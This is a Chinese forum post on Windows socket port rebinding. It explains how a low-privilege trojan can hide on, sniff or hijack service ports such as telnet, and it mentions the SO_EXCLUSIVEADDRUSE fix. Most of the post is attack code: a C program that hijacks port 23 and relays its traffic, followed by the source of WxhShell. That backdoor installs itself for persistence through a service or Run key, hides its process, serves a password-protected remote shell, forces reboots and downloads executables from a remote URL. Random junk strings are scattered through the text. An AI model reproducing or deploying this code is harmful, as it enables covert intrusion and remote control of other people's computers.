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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4h$W4NJK  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (( {4)5}  
:d} @Z}2sD  
  saddr.sin_family = AF_INET; ;t5e]  
!cA4erBP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); xC YL3hl  
|#J!oBS!  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o l8|  
Rdl^-\BV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rssn'h  
us>$f20T  
  这意味着什么?意味着可以进行如下的攻击: gaVQ3NqF  
cUD}SOW  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V[fcP;   
CAtdx!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) TKrh3   
D)GD9MJ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 s^>1rV]=(`  
$[M5V v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  YdF\*tZ  
~O~R,h>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 U( (F<  
Wer.VL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;H`>jI$  
1gh<nn  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 G21cJi*  
7yFV.#K3O  
  #include .?LP$O=  
  #include Xw]L'+V=  
  #include .TKKjS%8  
  #include    :GN7JxD#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +?y9EZB%  
  int main() yGX"1Fb?;x  
  { X.FFBKjf[e  
  WORD wVersionRequested; Y4,LXuQ  
  DWORD ret; CSNfLGA  
  WSADATA wsaData; kdp- |9  
  BOOL val; +kZW:t!-  
  SOCKADDR_IN saddr; xAJuIR1Hi  
  SOCKADDR_IN scaddr; E;Q ,{{#  
  int err; b&xlT+GN  
  SOCKET s; D9-D%R,  
  SOCKET sc; D/TEx2.=J3  
  int caddsize; G;yh$n<"  
  HANDLE mt; +/Qgl  
  DWORD tid;   ?0hEd9TU  
  wVersionRequested = MAKEWORD( 2, 2 ); 9MR,3/&N  
  err = WSAStartup( wVersionRequested, &wsaData ); Mhiz{Td  
  if ( err != 0 ) { k \V6 q9*  
  printf("error!WSAStartup failed!\n"); V^E.9fs,  
  return -1; wC>Xu.Z:  
  } |z]--h  
  saddr.sin_family = AF_INET; jb lj]/  
   HRF;qR9v  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  KSB{Z TE  
qJq2Z.>hy  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .vk|aIG  
  saddr.sin_port = htons(23); az;o7[rI^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tp?< e  
  { ;nZN}&m   
  printf("error!socket failed!\n"); q8[I` V{  
  return -1; (vb8Mk  
  } =x^b  
  val = TRUE; OM 4, Sevk  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~CQTPR  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >Z&Y!w'A|u  
  { *\T ]Z&E"  
  printf("error!setsockopt failed!\n"); FCPi U3  
  return -1; (|_N2R!  
  } }RN&w ]<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; # 25%17  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $G .ws  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9Netnzv%  
2}8xY:|@(U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3+d_5l;m)  
  { s6.#uT7h  
  ret=GetLastError(); =#K$b *#  
  printf("error!bind failed!\n"); MO-)j_o-Z  
  return -1; k-X E|v  
  } n2(@uT&>  
  listen(s,2); KL4vr|i,  
  while(1) t8\XO j  
  { 8oVQ:' 6  
  caddsize = sizeof(scaddr); q;L~5q."E  
  //接受连接请求 ^L +@oS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5V"g,]'Nd  
  if(sc!=INVALID_SOCKET) :$?^ID  
  { v5`Q7ZZ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ZA Xw=O5  
  if(mt==NULL) /R!/)sg  
  { 3 F ke#t  
  printf("Thread Creat Failed!\n"); }J-+^  
  break; w|0w<K  
  } wU1h(D2&h  
  } )%D>U  
  CloseHandle(mt); |)WN%#v  
  } XLxr@1   
  closesocket(s); xv:VW<  
  WSACleanup(); V detY\  
  return 0; WPu{ ]<pl  
  }   y8|?J\eRy  
  DWORD WINAPI ClientThread(LPVOID lpParam) KOHYeiry~A  
  { !i77v, (#|  
  SOCKET ss = (SOCKET)lpParam; +?[,{WtV  
  SOCKET sc; Vi o ~2  
  unsigned char buf[4096]; q#!]5  
  SOCKADDR_IN saddr; k7\ ,N o}  
  long num; @$ggPrs  
  DWORD val; AHl1{* [  
  DWORD ret; [d}AlG!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l\%LT{$e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Vp~c$y+  
  saddr.sin_family = AF_INET; OPP^n-iPr  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ">D7wX,.>  
  saddr.sin_port = htons(23); WjVj@oC  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mf\eg`'4?  
  { GfMCHs   
  printf("error!socket failed!\n"); TqN4OkCm/  
  return -1; daakawn+  
  } G.[,P~yy.  
  val = 100; b w2KD7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bJ#]Xm(]D  
  { X cDu&6Dy  
  ret = GetLastError(); <JNiW8 PG  
  return -1; jt?.g'  
  } /;rPzP4K6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l6O8:XI  
  { Vim*4^[#L  
  ret = GetLastError(); @#CZ7~Hn  
  return -1; y_e$W3bON,  
  } "-HmXw1+t  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (;.wsz &K  
  { cN(Toj'`  
  printf("error!socket connect failed!\n"); D8S3YdJ  
  closesocket(sc); p3R: 3E6p  
  closesocket(ss); svTKt%6X  
  return -1; ^^C@W?.z  
  } yl'@p 5n  
  while(1) Y!C8@B$MR3  
  { 4>I >y@^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _I1:|y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 A;\1`_i0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 quGv q"Y>  
  num = recv(ss,buf,4096,0); ejjL>'G/|%  
  if(num>0) 1#m'u5L  
  send(sc,buf,num,0); |1[3RnG S  
  else if(num==0) UBZ37P  
  break; g{d(4=FM  
  num = recv(sc,buf,4096,0); |*5803h  
  if(num>0) wTw)GV4  
  send(ss,buf,num,0); 5y`n8. (?  
  else if(num==0)   iE8  
  break; f}C$!Lhs  
  } vz1yH%~E  
  closesocket(ss); A)j',jE&1  
  closesocket(sc); fKYR DGn  
  return 0 ; ZJ Ke}F`l  
  } N ">4I)  
eGF+@)K1"  
>&g^ `  
========================================================== ^KRe(  
_9<nM48+t  
下边附上一个代码,,WXhSHELL 2b i:Q9  
l}jC$B`5  
========================================================== yJRqX]MLA  
PDi]zp9>H  
#include "stdafx.h" xB<^ar  
q<Sb>M/\,  
#include <stdio.h> NZW)$c'  
#include <string.h> qjrl$[`X:  
#include <windows.h> CNkI9>L=W`  
#include <winsock2.h> (<ZpT%2  
#include <winsvc.h> N3rq8Rk  
#include <urlmon.h> T>cO{I  
)4tOTi[  
#pragma comment (lib, "Ws2_32.lib")  Z,Z4Sp  
#pragma comment (lib, "urlmon.lib") >=+: lD  
vv FH (W  
#define MAX_USER   100 // 最大客户端连接数 &Fg|52  
#define BUF_SOCK   200 // sock buffer B}U:c]  
#define KEY_BUFF   255 // 输入 buffer uGW!~qAr*  
;.'\8!j  
#define REBOOT     0   // 重启 `:>N.9'o  
#define SHUTDOWN   1   // 关机 yRyUOTK  
]I<w;.z  
#define DEF_PORT   5000 // 监听端口 u"s@eN  
92 oUQ EK  
#define REG_LEN     16   // 注册表键长度 mNk@WY_F  
#define SVC_LEN     80   // NT服务名长度 # X`t~Y'  
f'WRszrF  
// 从dll定义API qvs&*lBY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >f*-9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $2J[lt?%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E3"j7y[S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w}WfQj  
=v:}{~M^$  
// wxhshell配置信息 2K VX  
struct WSCFG { o^8Z cN>  
  int ws_port;         // 监听端口 6F8TiR&  
  char ws_passstr[REG_LEN]; // 口令 vi; yT.  
  int ws_autoins;       // 安装标记, 1=yes 0=no _X]\#^UiO2  
  char ws_regname[REG_LEN]; // 注册表键名 6'[gd  
  char ws_svcname[REG_LEN]; // 服务名 r"&uW !~0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b'1m 9T780  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %+ : $uk[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >*]dB|2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yE_T#FN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UY}EW`$#m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \TS.9 >\  
m8Y>4:Nw  
}; Y~Z&h?H'}  
m8,jVR  
// default Wxhshell configuration wvcj*{7[  
struct WSCFG wscfg={DEF_PORT, > Hwf/Gf[  
    "xuhuanlingzhe", Z/e^G f#i  
    1, nJ2910"<  
    "Wxhshell", cES8%UC^i  
    "Wxhshell", EL^j}P  
            "WxhShell Service", Ov~vK\  
    "Wrsky Windows CmdShell Service", "UUoT  
    "Please Input Your Password: ", +|6E~#zklY  
  1, }Dx5W9Ri"  
  "http://www.wrsky.com/wxhshell.exe", fJK;[*&Y  
  "Wxhshell.exe" ;;}}uW=  
    }; c yH=LjgJf  
c1M *w9o  
// 消息定义模块 ZYLPk<<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AvZO R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %zYTTPLZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xFA+Zj BC  
char *msg_ws_ext="\n\rExit."; 5h [<!f=  
char *msg_ws_end="\n\rQuit."; R q .2  
char *msg_ws_boot="\n\rReboot..."; 9|l6.$Me/  
char *msg_ws_poff="\n\rShutdown..."; d04fj/B  
char *msg_ws_down="\n\rSave to "; UWW'[gEP1  
;-quK%VO!  
char *msg_ws_err="\n\rErr!"; Z \S'HNU  
char *msg_ws_ok="\n\rOK!"; #Fckev4  
B,4 3b O  
char ExeFile[MAX_PATH]; jP31K{G?  
int nUser = 0; MZ:Ty,pw:O  
HANDLE handles[MAX_USER]; @g] >D  
int OsIsNt; V(=3K"j  
$VJE&b  
SERVICE_STATUS       serviceStatus; "\O{!Hj8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J?/NJ-F  
nkkUby9  
// 函数声明 c?}{>ig/)  
int Install(void); i;<K)5Z  
int Uninstall(void); 1Gw_S?$7  
int DownloadFile(char *sURL, SOCKET wsh); G7k.YtW  
int Boot(int flag); bW2Msv/H  
void HideProc(void); :a*F>S!  
int GetOsVer(void); LM*m> n*  
int Wxhshell(SOCKET wsl); :Tdl84   
void TalkWithClient(void *cs); ,!bcm  
int CmdShell(SOCKET sock); o@qI!?p&  
int StartFromService(void); >a)6GZ@  
int StartWxhshell(LPSTR lpCmdLine); EASN#VG  
yHs'E4V`$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GiKmB-HO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l:(?|1_  
F-<c.0;6  
// 数据结构和表定义 vpP8'f.  
SERVICE_TABLE_ENTRY DispatchTable[] = :auq#$B  
{ -ze@~Z@  
{wscfg.ws_svcname, NTServiceMain}, NC%)SG \  
{NULL, NULL} OyATb{`'  
}; yJ2A!id  
,ik\MSS  
// 自我安装 )AXa.y  
int Install(void) 2$O6%0  
{ :9W)CwZ)V  
  char svExeFile[MAX_PATH]; Tl S 904'  
  HKEY key; N#8$pE  
  strcpy(svExeFile,ExeFile); +K61-Div  
kYu"`_n}  
// 如果是win9x系统,修改注册表设为自启动 I{7Hz{  
if(!OsIsNt) { vqRW^>~-B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e$4l[&kH_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g.x]x #BC  
  RegCloseKey(key); R QCKH]&!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |$`I1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eXQzCm  
  RegCloseKey(key); [p96H)8YU  
  return 0; }^ZPah  
    } 2rqYm6  
  } 84y#L[  
} 2KQpmNN  
else { dUP8[y  
p 4Y 2AQ9  
// 如果是NT以上系统,安装为系统服务 q&V=A[<rz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2@f?yh0  
if (schSCManager!=0) $jN,] N~  
{ F17nWvF  
  SC_HANDLE schService = CreateService =Cp}iM  
  ( F2Co Xe7  
  schSCManager, ' 4 Kf  
  wscfg.ws_svcname, W_ubgCB  
  wscfg.ws_svcdisp, 7_]Bu<{f  
  SERVICE_ALL_ACCESS, ?&"!,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (\ Gs7  
  SERVICE_AUTO_START, J}s)#va9R  
  SERVICE_ERROR_NORMAL, > 72qi*0  
  svExeFile, N}7tjk   
  NULL, 22"/|S  
  NULL, 8\rHSsP  
  NULL, pu5-=QN  
  NULL, S@eI3Pk E  
  NULL z=a{;1A  
  ); 2w67 >w\  
  if (schService!=0) &&($LnyA]  
  { `KJ BQK  
  CloseServiceHandle(schService); v1~`76^  
  CloseServiceHandle(schSCManager); Oxr?y8C~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )Tj\ym-Vl  
  strcat(svExeFile,wscfg.ws_svcname); r?wE;gH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -,} ppTG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'E~[I"0  
  RegCloseKey(key); a[Oi  
  return 0; X5wYfN  
    } Wj#Gm  
  } 5mF"nY&lI  
  CloseServiceHandle(schSCManager); }|4dEao\  
} AV^Sla7|_  
} ^n8r mh_%  
NRZ>03w  
return 1; 3qBZzM O*  
} @M]7',2"  
%)G]rta#  
// 自我卸载 i*Ee(m]I  
int Uninstall(void) |csR"DOqz  
{ mdPEF)-  
  HKEY key; PV/S zfvIq  
Mwd(?o  
if(!OsIsNt) { o;2QZ"v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gTwxmp.,  
  RegDeleteValue(key,wscfg.ws_regname); xbhU:,o  
  RegCloseKey(key); m@^!?/as  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VJ$UpqVm  
  RegDeleteValue(key,wscfg.ws_regname); Ee-yP[2 *  
  RegCloseKey(key); '}$$o1R  
  return 0; -%t2_g,  
  } _ya_Jf*  
} cG~-OHU  
} A?/(W_Gt^M  
else { 1VC:o]$  
G!3d!$t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #jNN?,ZK  
if (schSCManager!=0) 3erGTa[|q  
{ 5cE?>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); & !I$  
  if (schService!=0) 5rx;?yvn  
  { sy;_%,}N  
  if(DeleteService(schService)!=0) { c;pv< lX'  
  CloseServiceHandle(schService); 6_h'0~3?`  
  CloseServiceHandle(schSCManager); O6$d@r;EK]  
  return 0; &?gvW//L2  
  } 7;;HP`vY  
  CloseServiceHandle(schService); {@w!kl~8  
  } G@Y!*ZH*f  
  CloseServiceHandle(schSCManager); _}(ej&'f  
} aZ{]t:]  
} jsOid5bs  
=vZF/r  
return 1; _r&,n\ T  
} W6 U**ir.  
t\%gP@?  
// 从指定url下载文件 Uc?#E $X  
int DownloadFile(char *sURL, SOCKET wsh) bI"_hvcFp  
{ !+# pGSk  
  HRESULT hr; QBI;aG<+b>  
char seps[]= "/"; EFNi# D8s  
char *token; l4+Bs!i`  
char *file; 7; e$ sr  
char myURL[MAX_PATH]; ^yo~C3 r~  
char myFILE[MAX_PATH]; r1)@ 7Nt  
^$I8ga  
strcpy(myURL,sURL); A\v(!yg  
  token=strtok(myURL,seps); x<es1A'u6  
  while(token!=NULL) OEFAL t  
  { |kXx9vGq@  
    file=token; C[xY 0<^B  
  token=strtok(NULL,seps); C>:'@o Z  
  } nPU=n[t8O  
ecRY,MN  
GetCurrentDirectory(MAX_PATH,myFILE); L d;))e  
strcat(myFILE, "\\"); shAoib?Kw:  
strcat(myFILE, file); {5, ]7=]  
  send(wsh,myFILE,strlen(myFILE),0); 6*\WH%  
send(wsh,"...",3,0); ~DYv6-p%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZcLW8L  
  if(hr==S_OK) lEWF~L5=:  
return 0; NB|yLkoDyI  
else Oe/\@f0bLT  
return 1; (:P-ef$]C  
Gjh8>(  
} <X b B;  
mhDC1lXF  
// 系统电源模块 i=^!? i  
int Boot(int flag) J )DFH~p  
{ 74p=uQ  
  HANDLE hToken; 5SNa~ kC&  
  TOKEN_PRIVILEGES tkp; "A]Xe[oS  
%qYiE!%&  
  if(OsIsNt) { t3// U#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;n~-z5)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (rfR:[JkC2  
    tkp.PrivilegeCount = 1; p?v.42R:z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _P{f+HxU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y k{8O.g  
if(flag==REBOOT) { `UK'IN.il  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]9P2v X   
  return 0; #@3& 1 }J/  
} n,_q6/!  
else { <Cbi5DtR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NrK.DY4  
  return 0; Y*Ra!]62  
} ls*bCe  
  } S[ln||{  
  else { 'OTQiI^t=  
if(flag==REBOOT) { o#~Lb9`@U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rd:WF(]  
  return 0; ^kO+NH40  
} +>}LT_  
else { (E{}iq@2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k:QeZn(  
  return 0; <9bfX 91  
} pRys 5/&v  
} u$38"&cmA  
!ay:h Iv  
return 1; p.^qB]%  
}  B8~JUGD  
X;&Iu{&=  
// win9x进程隐藏模块 <c77GimD?  
void HideProc(void) QB.QG!@  
{ K!,T.qA&=  
rLpfybu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N xW Dw  
  if ( hKernel != NULL ) $Vp*,oRL  
  { !7hjA=0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -k8<LR3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0Fw4}f.o  
    FreeLibrary(hKernel); DEw>f%&4  
  } tP][o494\&  
B%^W$7 q  
return; v6M4KC2?  
} y<g1q"F  
MO>9A,&f  
// 获取操作系统版本 9$?Sts}6&  
int GetOsVer(void) D 0 O^=v|  
{ Fd86P.Df  
  OSVERSIONINFO winfo; ]?6Pt:N2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &.l^>#  
  GetVersionEx(&winfo); hGy[L3 {  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1.tAl6]  
  return 1; vvI23!H  
  else 2Onp{,'}  
  return 0; :o 8XG  
} S54q?sb_  
)GYnQoV4  
// 客户端句柄模块 @tvz9N  
int Wxhshell(SOCKET wsl) g&*,j+$ }  
{ awv$ }EFo  
  SOCKET wsh; `FGYc  
  struct sockaddr_in client; {sfA$ d0  
  DWORD myID; vh#81}@N7*  
4iI4+  
  while(nUser<MAX_USER) :pfLa2f+  
{ ?KtF!:_C  
  int nSize=sizeof(client); =(]Z%Q-V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &,l(2z[  
  if(wsh==INVALID_SOCKET) return 1; 8c\\-{  
M u i\E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xG(xG%J  
if(handles[nUser]==0) bu9.Hv T'  
  closesocket(wsh); GXp`yK9c  
else J= [D'h  
  nUser++; yAiO._U  
  } j'k <  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jsFfrS"*  
jF}-dfe  
  return 0; E<l/o5<nC  
} 3=Q:{  
=%B5TBG  
// 关闭 socket 6_s(Kx>j  
void CloseIt(SOCKET wsh) |M&4[ka}  
{ 3K=%I+G(4  
closesocket(wsh); p0[+Zm{#l  
nUser--; K9{RU4<  
ExitThread(0); oY4^CGk=  
} yeI> b 1>Q  
>UQY3C  
// 客户端请求句柄 5a-x$Qb9  
void TalkWithClient(void *cs) 4[(NxXH8M  
{ I>GBnx L  
rz0)S py6  
  SOCKET wsh=(SOCKET)cs; B[I9<4}  
  char pwd[SVC_LEN]; ?<`oKBn  
  char cmd[KEY_BUFF]; :h(` eC  
char chr[1]; )q66^% ;S  
int i,j; 35Yf,@VO  
nwp(% fBo  
  while (nUser < MAX_USER) { wFX9F3m  
Gl@{y (  
if(wscfg.ws_passstr) { UE{$hLI?g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1ysQvz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?-zuy US  
  //ZeroMemory(pwd,KEY_BUFF); &+n9T?+b  
      i=0; P)kJ[Zv>f  
  while(i<SVC_LEN) { ! ,bQ;p3g|  
j^7A }fz  
  // 设置超时 ?j0yT@G  
  fd_set FdRead; oOLey!uZw  
  struct timeval TimeOut; a'-u(Bw  
  FD_ZERO(&FdRead); d:k n%L6k_  
  FD_SET(wsh,&FdRead); Wqkzj^;"G  
  TimeOut.tv_sec=8; Wqkb1~]#Y  
  TimeOut.tv_usec=0; o{6q>Jm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \{}dn,?Fv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N+ak{3  
8qqN0"{,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H %c6I  
  pwd=chr[0]; @0 'U p  
  if(chr[0]==0xd || chr[0]==0xa) { 'Oj 1@0*0  
  pwd=0; TF%Xb>jy[  
  break; c"v75lW-J  
  } 6\ yBA_ z  
  i++; \ )=WA!  
    } (Vr%4Z8  
%@Z;;5L  
  // 如果是非法用户,关闭 socket FpiTQC7d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c} +*$DeT  
} *5 +GJWKN  
g@37t @I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <|3%}?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P`ou:M{8  
. %s U)$bH  
while(1) { ~ney~Pz_  
xZP*%yM  
  ZeroMemory(cmd,KEY_BUFF); +Q[uq!<VJk  
L;* s-j6y  
      // 自动支持客户端 telnet标准   NNF"si\FE  
  j=0; K8aqC{  
  while(j<KEY_BUFF) { *68 TTBq(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :{2~s  
  cmd[j]=chr[0]; 'Y/0:)  
  if(chr[0]==0xa || chr[0]==0xd) { O5:bdt.  
  cmd[j]=0; Z(7kwhP[`  
  break; g_1#if&  
  } fO$){(]^  
  j++; dYwkP^KB  
    } PR Mg6  
&s='$a; 4  
  // 下载文件 UWF \Vx*)b  
  if(strstr(cmd,"http://")) { [Q0V5P~Q'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v!8=B21  
  if(DownloadFile(cmd,wsh)) t&xoi7!$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 ECX[fw  
  else X3\PVsH$K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ly-(F2  
  } ~PI2G 9  
  else { 9H/>M4RT  
| L8 [+_m  
    switch(cmd[0]) { V2ih/mh   
  pY`$k#5  
  // 帮助 ts!tv6@  
  case '?': { g5|~ i{"0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oGRk/@  
    break; =nGFLH6)  
  } HbegdbTJ  
  // 安装 !1G KpL  
  case 'i': { W!wof- 1  
    if(Install()) N#K)Z5J)b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8i154#l+\  
    else dMH_:jb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b)<WC$"  
    break; SHX`/  
    } ~=*o  
  // 卸载 b3^:Bh9  
  case 'r': { ,7LfvZj4[  
    if(Uninstall()) AP=h*1udk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =P]Z"Ok  
    else *O :JECKU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .;]WcC<3  
    break; p L"{Uqi  
    } x ;|HT  
  // 显示 wxhshell 所在路径 TKR#YJQ?K  
  case 'p': { $<v4c5r]O  
    char svExeFile[MAX_PATH]; dS ojq6M  
    strcpy(svExeFile,"\n\r"); 2%sZaM  
      strcat(svExeFile,ExeFile); (dq_ ,LI  
        send(wsh,svExeFile,strlen(svExeFile),0); =/Gd<qz3  
    break; . vb##D  
    } -N*[f9EJB  
  // 重启 $6a9<&LP_  
  case 'b': { Gr\ ]6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A?H#bRAs  
    if(Boot(REBOOT)) Hu"$ )V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 509T?\r  
    else { ]SCHni_  
    closesocket(wsh); ^eh.Iml'@  
    ExitThread(0); 7GOBb|  
    } -G.N  
    break; ]p`y  
    } l8FJ\5'M  
  // 关机 5vyg-'  
  case 'd': { A|\A|8=b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?6CLUu|7n  
